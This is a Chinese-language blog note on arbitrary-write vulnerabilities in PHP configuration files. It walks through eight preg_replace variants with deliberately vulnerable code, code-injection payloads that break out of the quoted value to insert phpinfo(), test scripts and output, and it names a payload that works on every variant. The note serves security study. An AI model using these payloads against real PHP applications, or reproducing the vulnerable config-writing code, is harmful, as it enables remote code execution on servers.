经典写配置漏洞笔记

前言

看到了P神的对经典写配置漏洞变形的总结,利用这一漏洞可以实现配置文件任意写入,这里做一下笔记,并用代码进行了测试。

参考链接

https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html

变形

这个漏洞代码的主要逻辑为:将用户的输入作为配置信息,经过格式化后替换PHP文件中的字符串。其中被替换的字符串通过正则搜索确定,格式化通过字符串拼接。

利用逻辑:写配置操作可以执行不止一次。格式化操作为字符串拼接。因此可以通过一到两步操作,将原语句闭合,实现任意写入。

基础版

漏洞代码:

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

payload:

替换函数:preg_replace(正则式, 所需字符串, 需要替换的字符串)。在需要替换的字符串中使用正则匹配,并替换为所需字符串。

preg_replace在不加/s时不会匹配换行符,第一次payload写入时将phpinfo();写到了下一行,因此第二次匹配时会得到保留。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = "test';\nphpinfo();//";
$api = addslashes($payload);
$file = "\$API = 'abcde';";
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
print($file);
print("\n\n");

$payload2 = "testtest";
$api = addslashes($payload2);
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
print($file);

执行结果:

1
2
3
4
5
$API = 'test\';
phpinfo();//';

$API = 'testtest';
phpinfo();//';

单行模式

漏洞代码:

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

payload:

代码区别在于加了修正符/s,’.’匹配一切字符,包括换行符,所以这里没法用换行绕过,但是可以在第二次匹配时引入正则变量,将单引号引入,实现语句闭合。

‘$0’在正则中表示匹配结果,这里就是$API = ';phpinfo();';

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = ";phpinfo();";
$api = addslashes($payload);
$file = "\$API = 'abcde';";
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
print($file);
print("\n\n");

$payload2 = "\$0";
$api = addslashes($payload2);
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
print($file);

执行效果:

1
2
3
$API = ';phpinfo();';

$API = '$API = ';phpinfo();';';

基础版非贪婪

漏洞代码:

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

payload:
与基础版相同。

在正则中使用’?’标记为非贪婪模式,由于依然没有使用/s,可以直接换行绕过。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = "test';\nphpinfo();//";
$api = addslashes($payload);
$file = "\$API = 'abcde';";
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
print($file);
print("\n\n");

$payload2 = "testtest";
$api = addslashes($payload2);
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
print($file);

执行效果:

1
2
3
4
5
$API = 'test\';
phpinfo();//';

$API = 'testtest';
phpinfo();//';

单行非贪婪

漏洞代码:

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);

payload:

?.*的匹配置于非贪婪模式下,意味着遇到后面的';就会停止匹配,因此可以使用';截断。此外,也可以用单行模式的payload,引入'闭合语句。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = "test';phpinfo();//";
$api = addslashes($payload);
$file = "\$API = 'abcde';";
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
print($file);
print("\n\n");

$payload2 = "testtest";
$api = addslashes($payload2);
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
print($file);

执行效果:

1
2
3
$API = 'test\';phpinfo();//';

$API = 'testtest';phpinfo();//';

define基础版

漏洞代码:

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

payload:
与基础版原理相同。注意闭合语句。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = "test');\nphpinfo();//";
$api = addslashes($payload);
$file = "define('API', 'abcd');";
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
print($file);
print("\n\n");

$payload2 = "testtest";
$api = addslashes($payload2);
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
print($file);

执行效果:

1
2
3
4
5
define('API', 'test\');
phpinfo();//');

define('API', 'testtest');
phpinfo();//');

define单行版

漏洞代码:

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

payload:

这里需要在单行模式payload的基础上添加一个\,否则会引入无法控制的单引号(测试如下)。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = "test');phpinfo();//"; // wrong payload
$api = addslashes($payload);
$file = "define('API', 'abcd');";
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
print($file);
print("\n\n");

$payload2 = "test\');phpinfo();//"; // right payload
$api = addslashes($payload2);
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
print($file);

执行效果:

1
2
3
define('API', 'test\');phpinfo();//');

define('API', 'test\\');phpinfo();//');

可以看到,第一个直接使用单行模式payload,产生了\',第二个多引入了一个\,使语句成功闭合。

注意:这个方法可以通杀这篇文章里所有的版本(不过需要注意闭合前面的语句,否则会把配置文件插坏),因为不涉及到正则的技巧,只要用到preg_replace就会有这样的问题。

define基础版非贪婪

漏洞代码:

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

payload:

与基础版一样可以换行绕过,也可以与单行非贪婪一样');截断匹配。

测试带码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = "');\nphpinfo();//";
$api = addslashes($payload);
$file = "define('API', 'abcd');";
$file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
print($file);
print("\n\n");

$payload2 = "testtest";
$api = addslashes($payload2);
$file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
print($file);

执行效果:

1
2
3
4
5
define('API', '\');
phpinfo();//');

define('API', 'testtest');
phpinfo();//');

define单行非贪婪

漏洞代码:

1
2
3
4
5
<?php
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);

payload:

与define单行版和单行非贪婪相同,可以直接');截断匹配。下面用多加\避免'被转义的方法进行测试。

测试代码:

1
2
3
4
5
6
<?php
$payload = "\');phpinfo();//";
$api = addslashes($payload);
$file = "define('API', 'abcd');";
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
print($file);

执行效果:

1
define('API', '\\');phpinfo();//');

总结

这一漏洞的变形主要存在于正则的懒惰/贪婪匹配、正则单行模式、写入配置的格式不同。虽然有通杀payload,但是绕过和变形思路有参考价值。

通过闭合语句写入shell时会产生\',影响语句闭合,对此有两种解决方案。第一种是可以通过第二次调用方法,写入一个正常的配置字符串(\'并没有影响正则匹配);第二种是在一步操作时就添加一个\,将\转义,使得引号成功闭合,但是会破坏配置字符串的正确性。

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. 参考链接
  3. 3. 变形
    1. 3.1. 基础版
    2. 3.2. 单行模式
    3. 3.3. 基础版非贪婪
    4. 3.4. 单行非贪婪
    5. 3.5. define基础版
    6. 3.6. define单行版
    7. 3.7. define基础版非贪婪
    8. 3.8. define单行非贪婪
  4. 4. 总结
,